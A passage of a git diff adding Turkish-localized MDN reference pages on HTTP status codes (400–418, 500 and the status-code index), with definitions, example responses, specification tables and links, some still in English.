syntax, invalid request message framing, or deceptive request routing).</p> + +<div class="warning"> +<p>The client should not repeat this request without modification.</p> +</div> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox notranslate">400 Bad Request </pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "400 Bad Request" , "6.5.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="See_Also">See Also</h2> + +<ul> + <li><a href="https://www.exai.com/blog/400-bad-request-error">400 Bad Request </a></li> +</ul> diff --git a/files/tr/web/http/status/401/index.html b/files/tr/web/http/status/401/index.html new file mode 100644 index 0000000000..1eb6e7c0d7 --- /dev/null +++ b/files/tr/web/http/status/401/index.html @@ -0,0 +1,54 @@ +--- +title: 401 Yetkisiz +slug: Web/HTTP/Status/401 +translation_of: Web/HTTP/Status/401 +--- +<div>{{HTTPSidebar}}</div> + +<p>The HTTP <strong><code>401 Unauthorized</code></strong> client error status response code indicates that the request has not been applied because it lacks valid authentication credentials for the target resource.</p> + +<p>This status is sent with a {{HTTPHeader("WWW-Authenticate")}} header that contains information on how to authorize correctly.</p> + +<p>This status is similar to {{HTTPStatus("403")}}, but in this case, authentication is possible.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox notranslate">401 Unauthorized</pre> + +<h2 id="Example_response">Example response</h2> + +<pre class="notranslate">HTTP/1.1 401 Unauthorized +Date: Wed, 21 Oct 2015 07:28:00 GMT +WWW-Authenticate: Basic realm="Access to staging site"</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7235", "401 Unauthorized" , "3.1")}}</td> + <td>HTTP/1.1: Authentication</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.401")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li> + <li>{{HTTPHeader("WWW-Authenticate")}}</li> + <li>{{HTTPHeader("Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authenticate")}}</li> + <li>{{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> +</ul> diff --git a/files/tr/web/http/status/402/index.html b/files/tr/web/http/status/402/index.html new file mode 100644 index 0000000000..bc74ce45f1 --- /dev/null +++ b/files/tr/web/http/status/402/index.html @@ -0,0 +1,49 @@ +--- +title: 402 Ödeme Gerekli +slug: Web/HTTP/Status/402 +translation_of: Web/HTTP/Status/402 +--- +<div>{{HTTPSidebar}}{{SeeCompatTable}}</div> + +<p>The HTTP <strong><code>402 Payment Required</code></strong> is a nonstandard client error status response code that is reserved for future use.</p> + +<p>Sometimes, this code indicates that the request can not be processed until the client makes a payment. Originally it was created to enable digital cash or (micro) payment systems and would indicate that the requested content is not available until the client makes a payment. However, no standard use convention exists and different entities use it in different contexts.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox notranslate">402 Payment Required</pre> + +<h2 id="Example_response">Example response</h2> + +<pre class="brush: bash notranslate">HTTP/1.1 402 Payment Required +Date: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "402 Payment Required" , "6.5.2")}}</td> + <td>HTTP/1.1: Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("http.status.402")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li> +</ul> diff --git a/files/tr/web/http/status/403/index.html b/files/tr/web/http/status/403/index.html new file mode 100644 index 0000000000..e167459808 --- /dev/null +++ b/files/tr/web/http/status/403/index.html @@ -0,0 +1,52 @@ +--- +title: 403 Yasaklı +slug: Web/HTTP/Status/403 +translation_of: Web/HTTP/Status/403 +--- +<div>{{HTTPSidebar}}</div> + +<p>The HTTP <strong><code>403 Forbidden</code></strong> client error status response code indicates that the server understood the request but refuses to authorize it.</p> + +<p>This status is similar to {{HTTPStatus("401")}}, but in this case, re-authenticating will make no difference. The access is permanently forbidden and tied to the application logic, such as insufficient rights to a resource.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox notranslate">403 Forbidden</pre> + +<h2 id="Example_response">Example response</h2> + +<pre class="notranslate">HTTP/1.1 403 Forbidden +Date: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "403 Forbidden" , "6.5.3")}}</td> + <td>HTTP/1.1: Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.403")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPStatus("401")}}</li> + <li><a href="https://kinsta.com/blog/403-forbidden-error/">403 forbidden error</a></li> + <li><a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html" rel="noopener">HTTP/1.1: Status Code Definitions</a></li> + <li><a href="https://www.exai.com/blog/403-forbidden">403 forbidden </a></li> +</ul> diff --git a/files/tr/web/http/status/404/index.html b/files/tr/web/http/status/404/index.html new file mode 100644 index 0000000000..15189bdf9f --- /dev/null +++ b/files/tr/web/http/status/404/index.html @@ -0,0 +1,61 @@ +--- +title: 404 Bulunamadı +slug: Web/HTTP/Status/404 +translation_of: Web/HTTP/Status/404 +--- +<div>{{HTTPSidebar}}</div> + +<p>The HTTP <code><strong>404 Not Found</strong></code> client error response code indicates that the server can't find the requested resource. Links which lead to a 404 page are often called broken or dead links, and can be subject to <a href="https://en.wikipedia.org/wiki/Link_rot">link rot</a>.</p> + +<p>A 404 status code does not indicate whether the resource is temporarily or permanently missing. But if a resource is permanently removed, a {{HTTPStatus("410")}} (Gone) should be used instead of a 404 status.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox notranslate">404 Not Found</pre> + +<h2 id="Custom_error_pages">Custom error pages</h2> + +<p>Many web sites customize the look of a 404 page to be more helpful to the user and provide guidance on what to do next. Apache servers can be configured using an <code>.htaccess</code> file and a code snippet like the following example.</p> + +<pre class="brush: bash notranslate">ErrorDocument 404 /notfound.html</pre> + +<p>For an example of a custom 404 page, see <a href="https://developer.mozilla.org/en-US/404">MDN's 404 page</a>.</p> + +<div class="note"> +<p>Custom design is a good thing, in moderation. Feel free to make your 404 page humorous and human, but don't confuse your users.</p> +</div> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "404 Not Found" , "6.5.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.404")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPStatus("410")}}</li> + <li> + <p>{{interwiki("wikipedia", "HTTP_404", "Wikipedia: HTTP 404")}}</p> + </li> + <li> + <p><a class="external" href="https://www.exai.com/blog/404-http-error" rel="noopener">404 Error </a></p> + </li> +</ul> diff --git a/files/tr/web/http/status/405/index.html b/files/tr/web/http/status/405/index.html new file mode 100644 index 0000000000..ef06ed441a --- /dev/null +++ b/files/tr/web/http/status/405/index.html @@ -0,0 +1,42 @@ +--- +title: 405 İzin Verilmeyen Metot +slug: Web/HTTP/Status/405 +tags: + - Durum kodu +translation_of: Web/HTTP/Status/405 +--- +<div>{{HTTPSidebar}}</div> + +<p>HyperText Transfer Protocol (HTTP) <code><strong>405 Method Not Allowed</strong></code> durum kodu sunucunun istek metodunu bilmesine rağmen istenen kaynak tarafından metodun desteklenmediği anlamına gelir.</p> + +<p class="newpage">Sunucu MUTLAKA <strong><code>Allow</code></strong> başlığı ile istenen kaynağın şu an desteklediği metotları listeleyen bir 405 cevabı vermelidir.</p> + +<h2 id="Durum">Durum</h2> + +<pre class="syntaxbox notranslate">405 Method Not Allowed</pre> + +<h2 id="Detaylar">Detaylar</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "405 Method Not Allowed" , "6.5.5")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Bakınız">Bakınız</h2> + +<ul> + <li>{{HTTPHeader("Allow")}}</li> + <li><a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html" rel="noopener">HTTP/1.1: Status Code Definitions</a></li> + <li><a href="https://kinsta.com/blog/405-method-not-allowed-error/">How to Fix 405 Method Not Allowed</a></li> + <li><a href="https://docs.microsoft.com/en-us/aspnet/web-api/overview/testing-and-debugging/troubleshooting-http-405-errors-after-publishing-web-api-applications">Troubleshooting HTTP 405</a></li> +</ul> diff --git a/files/tr/web/http/status/418/index.html b/files/tr/web/http/status/418/index.html new file mode 100644 index 0000000000..14ec22a3aa --- /dev/null +++ b/files/tr/web/http/status/418/index.html @@ -0,0 +1,45 @@ +--- +title: 418 Ben Çaydanlığım +slug: Web/HTTP/Status/418 +translation_of: Web/HTTP/Status/418 +--- +<p>{{HTTPSidebar}}</p> + +<p>The HTTP <strong><code>418 I'm a teapot</code></strong> client error response code indicates that the server refuses to brew coffee because it is, permanently, a teapot. A combined coffee/tea pot that is temporarily out of coffee should instead return 503. This error is a reference to Hyper Text Coffee Pot Control Protocol defined in April Fools' jokes in 1998 and 2014.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox notranslate">418 I'm a teapot</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("2324", "418 I'm a teapot" , "2.3.2")}}</td> + <td>Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0): Semantics and Content</td> + </tr> + <tr> + <td>{{RFC("7168", "418 I'm a teapot" , "2.3.3")}}</td> + <td>The Hyper Text Coffee Pot Control Protocol for Tea Efflux Appliances (HTCPCP-TEA): Response Codes</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.418")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{interwiki("wikipedia", "Hyper Text Coffee Pot Control Protocol", "Wikipedia: Hyper Text Coffee Pot Control Protocol")}}</li> +</ul> diff --git a/files/tr/web/http/status/500/index.html b/files/tr/web/http/status/500/index.html new file mode 100644 index 0000000000..30f4e0fa77 --- /dev/null +++ b/files/tr/web/http/status/500/index.html @@ -0,0 +1,39 @@ +--- +title: 500 İç Sunucu Hatası +slug: Web/HTTP/Status/500 +tags: + - Durum kodu + - HTTP + - Sunucu hatası +translation_of: Web/HTTP/Status/500 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <code><strong>500 İç Sunucu Hatası</strong></code> <span id="result_box" lang="tr"><span>sunucu hata yanıt kodu, sunucunun isteği yerine getirmesini engelleyen beklenmedik bir durumla karşılaştığını gösterir.</span></span></p> + +<p><span id="result_box" lang="tr"><span>Bu hata yanıtı genel bir "tümünü yakalama" yanıtıdır.</span> <span>Çoğu zaman sunucu yöneticileri, hatanın gelecekte tekrar oluşmasını önlemek için 500 durum kodu gibi hata yanıtlarını günlüğe kaydederler.</span></span></p> + +<h2 id="Durum">Durum</h2> + +<pre class="syntaxbox">500 İç Sunucu Hatası</pre> + +<h2 id="Tanımlar">Tanımlar</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Tanım</th> + <th scope="col">Başlık</th> + </tr> + <tr> + <td>{{RFC("7231", "500 Internal Server Error" , "6.6.1")}}</td> + <td>Köprü Metni Aktarım Protokolü (HTTP / 1.1): Anlambilim ve İçerik</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.500")}}</p> diff --git a/files/tr/web/http/status/index.html b/files/tr/web/http/status/index.html new file mode 100644 index 0000000000..7bf9ebb9e9 --- /dev/null +++ b/files/tr/web/http/status/index.html @@ -0,0 +1,193 @@ +--- +title: HTTP yanıt durumu kodları +slug: Web/HTTP/Status +tags: + - HTTP + - NeedsTranslation + - Status codes + - TopicStub +translation_of: Web/HTTP/Status +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP yanıt durumu kodları belirli bir <a href="/tr/docs/Web/HTTP">HTTP</a> isteğinin başarıyla tamamlanıp tamamlanmadığını gösterir. Yanıtları beş sınıfa ayrılır:<br> + <br> + 1. Bilgilendirme yanıtları (100-199),<br> + 2. Başarı yanıtları (200-299),<br> + 3. Yönlendirmeler (300-399),<br> + 4. İstemci hataları (400-499) ve,<br> + 5. Sunucu hataları (500-599).</p> + +<p>Durum kodları<a href="https://tools.ietf.org/html/rfc2616#section-10"> RFC 2616 bölüm 10</a>'da tanımlanmıştır. Güncellenmiş bir özelliği <a href="https://tools.ietf.org/html/rfc7231#section-6.5.1">RFC 7231</a>'de bulabilirsiniz.</p> + +<div class="blockIndicator note"> +<p>Bu listede olmayan bir yanıt alırsanız, bu, muhtemelen sunucunun yazılımına özel, standart dışı bir yanıttır.</p> + +<p>Cevaplar (İngilizce) Orjinal olarak döndürüleceğinden - cevabın Türkçesi yanında verilmiştir. </p> +</div> + +<h2 id="Bilgilendirme_yanıtları">Bilgilendirme yanıtları</h2> + +<dl> + <dt>{{HTTPStatus(100, "100 Continue")}} - "100 Devam et"</dt> + <dd>Bu ara cevap, şu ana kadar her şeyin yolunda gittiğini ve müşterinin isteğine devam etmesi ya da bitmişse bu bilgiyi yoksayması gerektiğini gösterir.</dd> + <dt>{{HTTPStatus(101, "101 101 Switching Protocol")}} - "101 Protokol Değiştiriliyor"</dt> + <dd>Bu kod istemci tarafından gönderilen istekteki {{HTTPHeader("Upgrade")}} başlığına yanıt olarak gönderilir ve sunucunun hangi protokole geçtiğini belirtir.</dd> + <dt>{{HTTPStatus(102, "102 Processing")}} ({{Glossary("WebDAV")}}) - "102 İşleniyor" - Sözlük("WebDAV") </dt> + <dd>Bu kod sunucunun isteği aldığını ve işlemekte olduğunu ancak henüz yanıt vermediğini bildirir.<br> + <strong>WebDAV(Web Distributed Authoring and Versioning</strong><strong>):</strong> World Wide Web sunucularında depolanmış belge ve dosyaları düzenleme ve yönetmede kullanıcılar arasında iş birliğini kolaylaştıran bir Hiper Metin Aktarım Protokolü uzantısıdır.</dd> + <dt>{{HTTPStatus(103, 103 Early Hints")}} -"103 Ön İpucu"</dt> + <dd>Bu durum kodunun esas olarak {{HTTPHeader ("Link")}} başlığıyla kullanılması amaçlanmıştır ve sunucu bir yanıt hazırlarken kullanıcı aracısının kaynakları <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Preloading_content">önyüklemeye</a> başlamasını sağlar.</dd> +</dl> + +<h2 id="Başarı_yanıtları">Başarı yanıtları</h2> + +<dl> + <dt>{{HTTPStatus(200, "200 Tamam")}}</dt> + <dd>İstek başarılı oldu. Buradaki başarı, HTTP metoduna göre farklı anlamlara gelir:<br> + GET: Kaynak alındı ve mesaj gövdesinde iletildi.<br> + HEAD: Varlık başlıkları mesaj gövdesindedir.<br> + PUT veya POST: Eylemin sonucunu açıklayan kaynak mesaj gövdesinde iletildi.<br> + TRACE: Mesaj gövdesinde sunucu tarafından alındığı şekliyle istek mesajı bulunuyor.</dd> + <dt>{{HTTPStatus(201, "201 Oluşturuldu")}}</dt> + <dd>"İstek başarılı oldu ve bunun sonucunda yeni bir kaynak oluşturuldu."<br> + Genellikle POST veya PUT isteklerinden sonra gönderilen yanıt budur.</dd> + <dt>{{HTTPStatus(202, "202 Kabul edildi")}}</dt> + <dd>"Talep alındı, ancak henüz işlem yapılmadı." HTTP'de daha sonra isteğin sonucunu belirten eşzamansız(asenkron) bir yanıt göndermenin bir yolu olmadığından, kesin değildir.<br> + 'Başka bir işlemin yapıldığı' veya<br> + 'Sunucunun isteği işlediği durumlar' için veya<br> + 'toplu işleme' yanıt olarak tasarlanmıştır.(toplu işleme: bir defada -bölünmeden- yapılacak işlem bloğu) </dd> + <dt>{{HTTPStatus(203, "203 Non-Authoritative Information")}} - "203 Yetkili Olmayan Bilgiler"-</dt> + <dd>Bu yanıt kodu, döndürülen meta bilginin, kaynak sunucudakiyle tam olarak aynı olmadığı, ancak yerel veya üçüncü taraf bir kopyadan toplandığı anlamına gelir. Bu özel durum haricinde, "200 OK" yanıtı tercih edilir.</dd> + <dt>{{HTTPStatus(204, "204 No Content")}} - "204 İçerik Yok"</dt> + <dd>Bu istek için gönderilecek içerik yok, ancak başlıklar faydalı olabilir. Kullanıcı aracısı, bu kaynak için önbelleğe alınmış başlıklarını yenileriyle güncelleyebilir.</dd> + <dt>{{HTTPStatus(205, "205 Reset Content")}} - "205 İçeriği Sıfırla"</dt> + <dd>Kullanıcı aracısına bu isteği gönderen belgeyi sıfırlamasını söyler.</dd> + <dt>{{HTTPStatus(206, "206 Partial Content")}} - "206 Kısmi İçerik"</dt> + <dd>This response code is used because of range header sent by the client to separate download into multiple streams.</dd> + <dt>{{HTTPStatus(207, "207 Multi-Status")}} ({{Glossary("WebDAV")}}) - "207 Birden fazla durum" - Sözlük("WebDAV") </dt> + <dd>Birden çok durum kodunun uygun olabileceği durumlar için birden çok kaynak hakkında bilgi aktarır.</dd> + <dt>{{HTTPStatus(208, "208 Already Reported")}} ({{Glossary("WebDAV")}}) - "208 Rapor edilmiş" - Sözlük("WebDAV") </dt> + <dd>Bir <code><dav:propstat></code> yanıt öğesinin içinde, birden çok bağlamanın dahili üyelerinin aynı koleksiyona tekrar tekrar numaralandırılmasını önlemek için kullanılır.</dd> + <dt>{{HTTPStatus(226, "226 IM Used")}} (<a href="https://tools.ietf.org/html/rfc3229">HTTP Delta şifrelemesi</a>) - "Kullanılmış IM Başlığı"</dt> + <dd>Sunucu, kaynak için bir <code>GET</code> isteğini yerine getirdi ve yanıt, geçerli örneğe uygulanan bir veya daha fazla örnek işlemenin sonucunun bir temsilidir.<br> + IM = <a href="https://tools.ietf.org/html/rfc3229#section-10.1">instance-manipulation</a> : örnek işleme</dd> +</dl> + +<h2 id="Yönlendirme_mesajları">Yönlendirme mesajları</h2> + +<dl> + <dt>{{HTTPStatus(300, "300 Multiple Choice")}}</dt> + <dd>The request has more than one possible responses. User-agent or user should choose one of them. There is no standardized way to choose one of the responses.</dd> + <dt>{{HTTPStatus(301, "301 Kalıcı Yönlendirme")}}</dt> + <dd>This response code means that URI of requested resource has been changed. Probably, new URI would be given in the response.</dd> + <dt>{{HTTPStatus(302, "302 Geçici Yönlendirme")}}</dt> + <dd>This response code means that URI of requested resource has been changed <em>temporarily</em>. New changes in the URI might be made in the future. Therefore, this same URI should be used by the client in future requests.</dd> + <dt>{{HTTPStatus(303, "303 See Other")}}</dt> + <dd>Server sent this response to directing client to get requested resource to another URI with an GET request.</dd> + <dt>{{HTTPStatus(304, "304 Not Modified")}}</dt> + <dd>This is used for caching purposes. It is telling to client that response has not been modified. So, client can continue to use same cached version of response.</dd> + <dt><code>305 Use Proxy</code> {{deprecated_inline}}</dt> + <dd>Was defined in a previous version of the HTTP specification to indicate that a requested response must be accessed by a proxy. It has been deprecated due to security concerns regarding in-band configuration of a proxy.</dd> + <dt><code>306 unused</code></dt> + <dd>This response code is no longer used, it is just reserved currently. It was used in a previous version of the HTTP 1.1 specification.</dd> + <dt>{{HTTPStatus(307, "307 Temporary Redirect")}}</dt> + <dd>Server sent this response to directing client to get requested resource to another URI with same method that used prior request. This has the same semantic than the <code>302 Found</code> HTTP response code, with the exception that the user agent <em>must not</em> change the HTTP method used: if a <code>POST</code> was used in the first request, a <code>POST</code> must be used in the second request.</dd> + <dt>{{HTTPStatus(308, "308 Permanent Redirect")}}</dt> + <dd>This means that the resource is now permanently located at another URI, specified by the <code>Location:</code> HTTP Response header. This has the same semantics as the <code>301 Moved Permanently</code> HTTP response code, with the exception that the user agent <em>must not</em> change the HTTP method used: if a <code>POST</code> was used in the first request, a <code>POST</code> must be used in the second request.</dd> +</dl> + +<h2 id="İstemci_hatası_yanıtları">İstemci hatası yanıtları</h2> + +<dl> + <dt>{{HTTPStatus(400, "400 Bad Request")}}</dt> + <dd>This response means that server could not understand the request due to invalid syntax.</dd> + <dt>{{HTTPStatus(401, "401 Unauthorized")}}</dt> + <dd>Although the HTTP standard specifies "unauthorized", semantically this response means "unauthenticated". That is, the client must authenticate itself to get the requested response.</dd> + <dt><code>402 Payment Required</code></dt> + <dd>This response code is reserved for future use. Initial aim for creating this code was using it for digital payment systems however this is not used currently.</dd> + <dt>{{HTTPStatus(403, "403 Forbidden")}}</dt> + <dd>The client does not have access rights to the content, i.e. they are unauthorized, so server is rejecting to give proper response. Unlike 401, the client's identity is known to the server.</dd> + <dt>{{HTTPStatus(404, "404 Not Found")}}</dt> + <dd>The server can not find requested resource. In the browser, this means the URL is not recognized. In an API, this can also mean that the endpoint is valid but the resource itself does not exist. Servers may also send this response instead of 403 to hide the existence of a resource from an unauthorized client. This response code is probably the most famous one due to its frequent occurence on the web.</dd> + <dt>{{HTTPStatus(405, "405 Method Not Allowed")}}</dt> + <dd>The request method is known by the server but has been disabled and cannot be used. For example, an API may forbid DELETE-ing a resource. The two mandatory methods, <code>GET</code> and <code>HEAD</code>, must never be disabled and should not return this error code.</dd> + <dt>{{HTTPStatus(406, "406 Not Acceptable")}}</dt> + <dd>This response is sent when the web server, after performing <a href="/en-US/docs/HTTP/Content_negotiation#Server-driven_negotiation">server-driven content negotiation</a>, doesn't find any content following the criteria given by the user agent.</dd> + <dt>{{HTTPStatus(407, "407 Proxy Authentication Required")}}</dt> + <dd>This is similar to 401 but authentication is needed to be done by a proxy.</dd> + <dt>{{HTTPStatus(408, "408 Request Timeout")}}</dt> + <dd>This response is sent on an idle connection by some servers, even without any previous request by the client. It means that the server would like to shut down this unused connection. This response is used much more since some browsers, like Chrome, Firefox 27+, or IE9, use HTTP pre-connection mechanisms to speed up surfing. Also note that some servers merely shut down the connection without sending this message.</dd> + <dt>{{HTTPStatus(409, "409 Conflict")}}</dt> + <dd>This response is sent when a request conflicts with the current state of the server.</dd> + <dt>{{HTTPStatus(410, "410 Gone")}}</dt> + <dd>This response would be sent when the requested content has been permenantly deleted from server, with no forwarding address. Clients are expected to remove their caches and links to the resource. The HTTP specification intends this status code to be used for "limited-time, promotional services". APIs should not feel compelled to indicate resources that have been deleted with this status code.</dd> + <dt>{{HTTPStatus(411, "411 Length Required")}}</dt> + <dd>Server rejected the request because the <code>Content-Length</code> header field is not defined and the server requires it.</dd> + <dt>{{HTTPStatus(412, "412 Precondition Failed")}}</dt> + <dd>The client has indicated preconditions in its headers which the server does not meet.</dd> + <dt>{{HTTPStatus(413, "413 Payload Too Large")}}</dt> + <dd>Request entity is larger than limits defined by server; the server might close the connection or return an <code>Retry-After</code> header field.</dd> + <dt>{{HTTPStatus(414, "414 URI Too Long")}}</dt> + <dd>The URI requested by the client is longer than the server is willing to interpret.</dd> + <dt>{{HTTPStatus(415, "415 Unsupported Media Type")}}</dt> + <dd>The media format of the requested data is not supported by the server, so the server is rejecting the request.</dd> + <dt>{{HTTPStatus(416, "416 Requested Range Not Satisfiable")}}</dt> + <dd>The range specified by the <code>Range</code> header field in the request can't be fulfilled; it's possible that the range is outside the size of the target URI's data.</dd> + <dt>{{HTTPStatus(417, "417 Expectation Failed")}}</dt> + <dd>This response code means the expectation indicated by the <code>Expect</code> request header field can't be met by the server.</dd> + <dt>{{HTTPStatus(418, "418 I'm a teapot")}}</dt> + <dd>The server refuses the attempt to brew coffee with a teapot.</dd> + <dt>{{HTTPStatus(421, "421 Misdirected Request")}}</dt> + <dd>The request was directed at a server that is not able to produce a response. This can be sent by a server that is not configured to produce responses for the combination of scheme and authority that are included in the request URI.</dd> + <dt>{{HTTPStatus(422, "422 Unprocessable Entity")}} ({{Glossary("WebDAV")}})</dt> + <dd>The request was well-formed but was unable to be followed due to semantic errors.</dd> + <dt>{{HTTPStatus(423, "423 Locked")}} ({{Glossary("WebDAV")}})</dt> + <dd>The resource that is being accessed is locked.</dd> + <dt>{{HTTPStatus(424, "424 Failed Dependency")}} ({{Glossary("WebDAV")}})</dt> + <dd>The request failed due to failure of a previous request.</dd> + <dt>{{HTTPStatus(426, "426 Upgrade Required")}}</dt> + <dd>The server refuses to perform the request using the current protocol but might be willing to do so after the client upgrades to a different protocol. The server sends an {{HTTPHeader("Upgrade")}} header in a 426 response to indicate the required protocol(s).</dd> + <dt>{{HTTPStatus(428, "428 Precondition Required")}}</dt> + <dd>The origin server requires the request to be conditional. Intended to prevent the 'lost update' problem, where a client GETs a resource's state, modifies it, and PUTs it back to the server, when meanwhile a third party has modified the state on the server, leading to a conflict.</dd> + <dt>{{HTTPStatus(429, "429 Too Many Requests")}}</dt> + <dd>The user has sent too many requests in a given amount of time ("rate limiting").</dd> + <dt>{{HTTPStatus(431, "431 Request Header Fields Too Large")}}</dt> + <dd>The server is unwilling to process the request because its header fields are too large. The request MAY be resubmitted after reducing the size of the request header fields.</dd> + <dt>{{HTTPStatus(451, "451 Unavailable For Legal Reasons")}}</dt> + <dd>The user requests an illegal resource, such as a web page censored by a government.</dd> +</dl> + +<h2 id="Sunucu_hatası_yanıtları">Sunucu hatası yanıtları</h2> + +<dl> + <dt>{{HTTPStatus(500, "500 Internal Server Error")}}</dt> + <dd>The server has encountered a situation it doesn't know how to handle.</dd> + <dt>{{HTTPStatus(501, "501 Not Implemented")}}</dt> + <dd>The request method is not supported by the server and cannot be handled. The only methods that servers are required to support (and therefore that must not return this code) are <code>GET</code> and <code>HEAD</code>.</dd> + <dt>{{HTTPStatus(502, "502 Bad Gateway")}}</dt> + <dd>This error response means that the server, while working as a gateway to get a response needed to handle the request, got an invalid response.</dd> + <dt>{{HTTPStatus(503, "503 Service Unavailable")}}</dt> + <dd>The server is not ready to handle the request. Common causes are a server that is down for maintenance or that is overloaded. Note that together with this response, a user-friendly page explaining the problem should be sent. This responses should be used for temporary conditions and the <code>Retry-After:</code> HTTP header should, if possible, contain the estimated time before the recovery of the service. The webmaster must also take care about the caching-related headers that are sent along with this response, as these temporary condition responses should usually not be cached.</dd> + <dt>{{HTTPStatus(504, "504 Gateway Timeout")}}</dt> + <dd>This error response is given when the server is acting as a gateway and cannot get a response in time.</dd> + <dt>{{HTTPStatus(505, "505 HTTP Version Not Supported")}}</dt> + <dd>The HTTP version used in the request is not supported by the server.</dd> + <dt>{{HTTPStatus(506, "506 Variant Also Negotiates")}}</dt> + <dd>The server has an internal configuration error: transparent content negotiation for the request results in a circular reference.</dd> + <dt>{{HTTPStatus(507, "507 Insufficient Storage")}}</dt> + <dd>The server has an internal configuration error: the chosen variant resource is configured to engage in transparent content negotiation itself, and is therefore not a proper end point in the negotiation process.</dd> + <dt>{{HTTPStatus(508, "508 Loop Detected")}} ({{Glossary("WebDAV")}})</dt> + <dd>The server detected an infinite loop while processing the request.</dd> + <dt>{{HTTPStatus(510, "510 Not Extended")}}</dt> + <dd>Further extensions to the request are required for the server to fulfill it.</dd> + <dt>{{HTTPStatus(511, "511 Network Authentication Required")}}</dt> + <dd>The 511 status code indicates that the client needs to authenticate to gain network access.</dd> +</dl> + +<h2 id="Bakınız">Bakınız</h2> + +<ul> + <li><a href="https://en.wikipedia.org/wiki/List_of_HTTP_status_codes">List of HTTP status codes on Wikipedia</a></li> + <li><a href="http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml">IANA official registry of HTTP status codes</a></li> +</ul> diff --git a/files/tr/web/index.html b/files/tr/web/index.html new file mode 100644 index 0000000000..b8630bf896 --- /dev/null +++ b/files/tr/web/index.html @@ -0,0 +1,94 @@ +--- +title: Geliştiriciler için Web Teknolojisi +slug: Web +tags: + - Genel Bakış + - Internet + - Karşılama Sayfası + - Landing + - NeedsTranslation + - TopicStub + - Web + - Web Geliştirme + - ÇeviriGerekli +translation_of: Web +--- +<p>World Wide Web'in açık doğası, websiteleri ve 